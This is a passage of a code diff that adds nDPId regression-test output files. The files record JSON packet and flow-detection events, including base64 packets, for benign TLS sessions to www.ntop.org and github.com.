+02367{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":123692,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHdVAADQG6diyPsWCwKgBDQG7z2h4KhD0LWDvroAQAfqVUAAAAQEICiUwnboeK9WLFgMDAE4CAABKAwOvM8LrXKoo0unofgHocdvd\/Ny9B7iQj9XZFL3OXqjiSgDMqAAAIv8BAAEAAAAAAAALAAQDAAECACMAAAAQAAUAAwJoMgAXAAAWAwMJ+AsACfQACfEABVUwggVRMIIEOaADAgECAhIDxW9mNu2nL39MVmX6BV2TMlUwDQYJKoZIhvcNAQELBQAwSjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUxldCdzIEVuY3J5cHQxIzAhBgNVBAMTGkxldCdzIEVuY3J5cHQgQXV0aG9yaXR5IFgzMB4XDTE5MTIxNzAxMTcyOFoXDTIwMDMxNjAxMTcyOFowFzEVMBMGA1UEAxMMd3d3Lm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnSHDQayg1hZirIX4Lqo3WG5KpMHniFi3Mrw70HcZqirZW5NUs9muyeR2daOyJjrsrcxe5XeHEXf5ru6+lYjXKiJUopGwLGWi1MuiA9gxWWZLWVeWEttxEmwTTqWlShR8ip32eF1LWpw+F0\/c7QNC2bLlmcSkK9oUS8lWxZizXhwgMReDaqPRYDEvhZYtdfWcfkpSDtRToDgE82uKrDur4Q1u38uBJsp\/Zuk427G+2bOLN0pIsECXklgqQWZhVqEqvoDVHDRIwlzyNKwbt7R+GffgX5sp5gUkbyOPc++GR+fOVL7\/MuzNWp2Ur2zThN4UF6enMUdFCrd\/aCFa8DDGwQIDAQABo4ICYjCCAl4wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRmdzmXZiclqr7hh6e7K5a4h\/CR1zAfBgNVHSMEGDAWgBSoSmpjBH3duubRObemRWXv86jsoTBvBggrBgEFBQcBAQRjMGEwLgYIKwYBBQUHMAGGImh0dHA6Ly9vY3NwLmludC14My5sZXRzZW5jcnlwdC5vcmcwLwYIKwYBBQUHMAKGI2h0dHA6Ly9jZXJ0LmludC14My5sZXRzZW5jcnlwdC5vcmcvMBcGA1UdEQQQMA6CDHd3dy5udG9wLm9yZzBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAABbxGlYBAAAAQDAEgwRgIhAIRceob4hnAbM9rJbnEpY+A50PHaV61rmP\/FPogwHJlnAiEAiK3s5Ni+tJcif2KrozzCA+H4Z5wsGO\/rP7mWl\/8vPTAAdgAHt1wb5X1o\/\/Gwxh0jFce65ld8V5S3au68YToaadOiHAAAAW8RpWAtAAAEAwBHMEUCIDAoXUAacoihoRLZX4xqZwCvTg3tPgFpCX2S7ZjjFV7RAiEAqJN+En3T+\/ydrTEr5TNFIftUI+4vvVlbwZiJasTYVG4wDQYJKoZIhvcNAQELBQADggEBABf660IO1+locKETiuPkBudrM2Gg2CMTwawmZ8YWY0H7ZucmeZKLjBIr10rhc\/xXzyKNPlklujVS4QNzb64syqShdO9NKJYTs3waFZTL7ydLvW0D4fczI3O+vPDZhwZpLmn+nqS+eWOoIfOLT7ybQqmBmqXgIBoyBlCSHhlepcZ1ZAlhZDuOaxVjHsL7TTVJqXPX6Mzg7LSS4E55KIz9jb1FBPqySSarb6F20U4aoE8vYu+DsC17ZWHL2SZkzmRlaFwVC2przQWki8GfGb0+3wBv2KRVjbq6lkVyOTkZXPr2pwfJk+y1sTzG"} +00842{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"443-firefox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1581109488041,"flow_last_seen":1581109488123,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"3653a20186a5b490426131a611e01992","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02372{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":123785,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUHdZAADQG6deyPsWCwKgBDQG7z2h4KhaULWDvroAQAfoeuAAAAQEICiUwnboeK9WLxZXL7xzYeRBPsI+K1ABFuSfd4k+8lP4ABJYwggSSMIIDeqADAgECAhAKAUFCAAABU4VzaguF7KcIMA0GCSqGSIb3DQEBCwUAMD8xJDAiBgNVBAoTG0RpZ2l0YWwgU2lnbmF0dXJlIFRydXN0IENvLjEXMBUGA1UEAxMORFNUIFJvb3QgQ0EgWDMwHhcNMTYwMzE3MTY0MDQ2WhcNMjEwMzE3MTY0MDQ2WjBKMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3MgRW5jcnlwdDEjMCEGA1UEAxMaTGV0J3MgRW5jcnlwdCBBdXRob3JpdHkgWDMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCc0wzwWuUuR7dyXTeDs2hjMOrXNSYZJeG9vjXxcJIvt7hLQQWrqZ41CFjssSrEaIcLo+N15Obzp2JxunmBYB\/XkZqf89B4Z3HIaQ6Vkc\/+5pnpYDxIzH7KTXcSJJ1HG1rrueweNwAcnKx7pwXqzkrrvUHlNpi5y\/1tPJZo3yMqQpAMhnRnyH+lmrhSYRQTP2XpgofL2\/oOVvaGifOFP5eGr7DcGu9rDZUWfcQroGWymQQ2dYBrrErzG5BJeC+ilk8qICUpBMZ0wNAxzY8xOJUWuqgzuEPxsR\/DMH+ieTETPS02+OP88jNquTkxxa\/EjQ0dZBYzqvqEKbbUC8DYfcOTAgMBAAGjggF9MIIBeTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjB\/BggrBgEFBQcBAQRzMHEwMgYIKwYBBQUHMAGGJmh0dHA6Ly9pc3JnLnRydXN0aWQub2NzcC5pZGVudHJ1c3QuY29tMDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1c3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx+tvhS5B1\/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA\/BgsrBgEEAYLfEwEBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQub3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9EU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFKhKamMEfd265tE5t6ZFZe\/zqOyhMA0GCSqGSIb3DQEBCwUAA4IBAQDdM9cR82NYON0YFfsJVb52VrlwSKVpRyd7wiQIkvFaH0oSKTckdFEcYmi4zZVwZ+X3pLxOKFHNm+iuh53q2LpaoQGa3PDdah1q2D5XI56mHgRimv\/XBcq3Hz\/ACki8lLC2ZWLgwVTloyqtIMTp5rvcyPa1wzKjmMx3qOZ5ZQcryyj+OhZSgc5SDC5fg+jVBjP7d2zOQOoynh+SXEHBdGxbXQpfM8xNn6w48C97LGKd2aORbyUbL5CxGUY99n4bpnqHuaN6bRj6JaWRhxXg8hYvWLAGLyxoJsZLmM3anwz5f5DtQ0oSRE5vc3oo6qSqbntMfYfd4MkCRKeHr8M0W7RCFgMDASwMAAEoAwAdIKFSxuOb0oVG9\/kfAIUP0Iz3QlYJcsmpctk7HcKzlRhmCAQBAIVAJeDhP5lPq0OCGEt3uZVY0vFa\/obRnaQAcX78vCjY8+ENip49+1Y6EZk6gEqqCcL68vo\/N\/qEWn86NuoJGKs\/qj8kg82MgEJ+qHI+XUh7XGmGOKgFxYEEJtVGPPbKIBloLzkp8G77Zws7dUNLmUGXdWAV7jipXz0v2z1rVed8VWluevP1NtGkcmuPwrmTuMf5uyeLGkFa3+PL7GWBTdylsOyua+BqW2x3ATfUoiFlOGjh\/M+zmFNfsYyDTiOz"} +01043{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"443-firefox.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1581109488041,"flow_last_seen":1581109488123,"flow_tot_l4_data_len":3641,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"178.62.197.130","src_port":53096,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"www.ntop.org","ja3":"f6ce47303dce394049af395fc6d0bc20","ja3s":"3653a20186a5b490426131a611e01992","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=www.ntop.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"DB:A7:E4:3E:6D:BB:21:AB:68:47:35:E8:0B:8F:15:DF:DB:C7:C9:6F"}} +00531{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":123787,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB+HddAADQG7yyyPsWCwKgBDQG7z2h4Khw0LWDvroAYAfoO\/wAAAQEICiUwnboeK9WLZ4YR4bnOF6tPCTZOqJjVwYxlP4OP52PvwGPt\/kRoBqGRPIjpXSxMVNbmyTiiNTUSI6U1DvfsFNytQP+Yhft5jI0WAwMABA4AAAA="} +00426{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":123844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs9oAbstYO+ueCocNIAQD9L0GQAAAQEICh4r1bMlMJ26"} +00429{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":123848,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs9oAbstYO+ueCocfoAQD8\/z0gAAAQEICh4r1bMlMJ26"} +00548{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":125900,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"EBMx8Tl2KDc3AG3ICABFAACJAABAAEAGAPnAqAENsj7Fgs9oAbstYO+ueCocfoAYEAB5hQAAAQEICh4r1bUlMJ26FgMDACUQAAAhICi1U+PJ2wKZLf5RVjA3DxZ5+y\/ZGqADjl8AV33hH3tEFAMDAAEBFgMDACBugGYQD4nWZ4HC7TfIW2R2Wajrymil6T8UEFXNRqJQwA=="} +00790{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":164458,"pkt_caplen":332,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":332,"pkt_l4_len":298,"pkt":"KDc3AG3IEBMx8Tl2CABFAAE+HdhAADQG7muyPsWCwKgBDQG7z2h4Khx+LWDwA4AYAfpxdAAAAQEICiUwneMeK9W1FgMDANoEAADWAAABLADQNrrsPtfbUKGSZw0BQWyxFkDq1\/VHw+TE1DI58ApVxrIM8tZMaO\/RwwR6jCk4cM1yOq+VoQnPvGq3uQOJSUvD9r2oD1QsyeEpp9zPhMVO1XcQ+EEoPSp1EN7Yg6dGqUCdcGCyFmT9Q8DenArIduyaByiPEhyTQhl+7NW+4HMwi5Kts7Isd8KqhrCzHPFYkhN5MaBNXJkBCOkA2DvUsAYBAMdPvP062IPLIhQVV8rM3fa8uye0H4fCtv6IRiQo2CjI5cyNTJkXni7Yk\/pCcFVsBxQDAwABARYDAwAglUhXmIVfoftdkGS5tKHfFDrB7ltAV+Wib7KKoylImGc="} +00499{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":164490,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"KDc3AG3IEBMx8Tl2CABFAABlHdlAADQG70OyPsWCwKgBDQG7z2h4Kh2ILWDwA4AYAfqzkwAAAQEICiUwneMeK9W1FwMDACxffRqcy2j37wKerf7ZOK8PIq4YWRNxkgdTirhwIr1LXYymQjh\/dnRfmvIfcg=="} +00429{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":164577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs9oAbstYPADeCodiIAQD\/fx+wAAAQEICh4r1dolMJ3j"} +00429{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"443-firefox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581109488,"pkt_ts_usec":164580,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGAU7AqAENsj7Fgs9oAbstYPADeCoduYAQD\/bxywAAAQEICh4r1dolMJ3j"} diff --git a/test/results/443-git.pcap.out b/test/results/443-git.pcap.out new file mode 100644 index 000000000..4ce1ebc15 --- /dev/null +++ b/test/results/443-git.pcap.out @@ -0,0 +1,19 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"443-git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1581113657633,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"140.82.114.4","src_port":55744,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":633853,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGeqzAqAENjFJyBNnAAbv0\/p5\/AAAAALAC\/\/+NzAAAAgQFtAEDAwUBAQgKHmpbwAAAAAAEAgAA"} +00435{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":744320,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADIGiLCMUnIEwKgBDQG72cCAzdDM9P6egKASb0C\/0wAAAgQFnAQCCAoOCxAaHmpbwAEDAwo="} +00423{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":744421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGerjAqAENjFJyBNnAAbv0\/p6AgM3QzYAQECpNNAAAAQEICh5qXC0OCxAa"} +01120{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":751016,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGeLPAqAENjFJyBNnAAbv0\/p6AgM3QzYAYECpqTgAAAQEICh5qXDMOCxAaFgMBAgABAAH8AwNQWUIaokrsiL8XEswp8oDn8SQNNiEML8bEosBTihcRygAAhswUzBPMFcAwwCzAKMAkwBTACgCjAJ8AawBqADkAOP+FAMQAwwCIAIcAgcAywC7AKsAmwA\/ABQCdAD0ANQDAAITAL8ArwCfAI8ATwAkAogCeAGcAQAAzADIAvgC9AEUARMAxwC3AKcAlwA7ABACcADwALwC6AEHAEsAIABYAE8ANwAMACgD\/AQABTQAAAA8ADQAACmdpdGh1Yi5jb20ACwAEAwABAgAKADoAOAAOAA0AGQAcAAsADAAbABgACQAKABoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARAA0AJgAkBgEGAgYD7+8FAQUCBQMEAQQCBAPu7u3tAwEDAgMDAgECAgIDM3QAAAAQAAsACQhodHRwLzEuMQAVALMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"443-git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1581113657633,"flow_last_seen":1581113657751,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"140.82.114.4","src_port":55744,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Github","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"github.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +02336{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":863699,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXEwPpAADIGwi2MUnIEwKgBDQG72cCAzdDN9P6ghYAQAB10xQAAAQEICg4LEDgealwzFgMDAGwCAABoAwPki9jhPmCkj6agnB13yqVRrfsdioC9VcxET1dOR1JEASDxGH7q5wCfHu4g3J9YnEevlg7HfliESOuB6g4QuH+MBcAvAAAg\/wEAAQAAAAAAAAsABAMAAQIAEAALAAkIaHR0cC8xLjEWAwMMDQsADAkADAYAB0YwggdCMIIGKqADAgECAhAKBjBCf1u87WlXOWWTtkUfMA0GCSqGSIb3DQEBCwUAMHUxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xNDAyBgNVBAMTK0RpZ2lDZXJ0IFNIQTIgRXh0ZW5kZWQgVmFsaWRhdGlvbiBTZXJ2ZXIgQ0EwHhcNMTgwNTA4MDAwMDAwWhcNMjAwNjAzMTIwMDAwWjCBxzEdMBsGA1UEDwwUUHJpdmF0ZSBPcmdhbml6YXRpb24xEzARBgsrBgEEAYI3PAIBAxMCVVMxGTAXBgsrBgEEAYI3PAIBAhMIRGVsYXdhcmUxEDAOBgNVBAUTBzUxNTc1NTAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRUwEwYDVQQKEwxHaXRIdWIsIEluYy4xEzARBgNVBAMTCmdpdGh1Yi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDGPKryPJcMOsFPKK1ycH3Tzrm1YHOkdJuKd0b9ephCTMUwGVeaqTML4V1NEFjKd5nDk\/P5dZC8v7vglbouxY1zYQXTEISos4m4L3OM8Cpuvu6ug0uCEbFh\/Xdh2psbmiP\/jH6iAQbd0X9TlgjBWvrnwMrIRIxXp6hhX2YNV9O4lqy2SpzB6uj7lkAp9hUwtQSwzAW2hMMkWZV\/omWQ5bCzGnVZxD8xFArVzKo6hQVSBjKWB2HfJ4IM94XbYDHwCVDFtxoj4bB9AvUUHsnL6H4qMwT2UT9SmBXpC3ZHXE1Ka8UIFa740Vfp6nAU\/8lFuQx8vPRt5gVS+YyAu3BWkQ9LAgMBAAGjggN5MIIDdTAfBgNVHSMEGDAWgBQ901Cl1qCt7vNKYApl0yHU+PjWDzAdBgNVHQ4EFgQUycJTYWadX6sl9CbNDziaqEnqSKkwJQYDVR0RBB4wHIIKZ2l0aHViLmNvbYIOd3d3LmdpdGh1Yi5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjB1BgNVHR8EbjBsMDSgMqAwhi5odHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3JsMDSgMqAwhi5odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3JsMEsGA1UdIAREMEIwNwYJYIZIAYb9bAIBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwBwYFZ4EMAQEwgYgGCCsGAQUFBwEBBHwwejAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMFIGCCsGAQUFBzAChkZodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyRXh0ZW5kZWRWYWxpZGF0aW9uU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggF+BgorBgEEAdZ5AgQCBIIBbgSCAWoBaAB2AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABY0FibQoAAAQDAEcwRQIhANFmnfxxNaxYfYZ0Gl7+49M="} +00782{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"443-git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1581113657633,"flow_last_seen":1581113657863,"flow_tot_l4_data_len":2121,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1456,"flow_avg_l4_data_len":424,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.13","dst_ip":"140.82.114.4","src_port":55744,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Github","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"github.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"ae53107a2e47ea20c72ac44821a728bf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02338{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"443-git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1581113657,"pkt_ts_usec":863740,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXEwPtAADIGwiyMUnIEwKgBDQG72cCAzdZd9P6ghYAQAB0uEgAAAQEICg4LEDgealwzWnsu\/m4BEC2+dIcvSykZYgIgCP5gGv6yzaazxBK2NwGdmmyuEFNSg2pARbMJlUFgU5UAdgBWFAaaL9fC7NP14b1Esj7HRna5vJkRXMDvlJhV1onQ3QAAAWNBYm0tAAAEAwBHMEUCIQCi7omUvYLm0b2LobtEeRAYnlIo7n6JxbYdrtYdmPUWJQIgVgw1AZ51vK9ENinBg22FPxb82TvNDO05T17hxXRC2IYAdgC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWNBYm3fAAAEAwBHMEUCIQChzdTKUU2N+XcqcK0OJYrN8EYynloVxho4yPk6Dq3EPgIgdNH5u8rC3UcslQV4B9o0a0w204omDREGKTVuEpxGeOQwDQYJKoZIhvcNAQELBQADggEBAHAPWpanWOW\/ip2oJ5grAH8mqQfaunuCVE+vac+88lkDK\/LVdFgl2B6kIHZiYClzKtfczG93hWvKbST4NRNHP9LiaQqdNC17e5vNHnXVUGw+yxyjMLGqkgepOnZ2Rb14kcTOGp4i5AuJuuaMwXmCo7jUwPwfLe1NUlVBKqg6LK0Hcq4K0sZnxE8HFxiZ92WpV2AVWjRMEc\/2z2shNoDvxvFUYyY1Oe67xINkmyQKc+ygSBZzyLnXSFVWmHr3u5dcaaQGGAR42v6Ydr4iL38Hd4dOiBma+FXsXBIqWUjbST4VXmdaol7uzFMojA4zkxQDZAvF5XgJlAFadfySna\/teikABLowggS2MIIDnqADAgECAhAMealEsIwRlSCSYV\/iax2DMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjB1MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMTQwMgYDVQQDEytEaWdpQ2VydCBTSEEyIEV4dGVuZGVkIFZhbGlkYXRpb24gU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA11OkBFH4maYWSEtnJ6qTSdA57QywsACH8WcohoWMjmPavLFAOOLT9eylB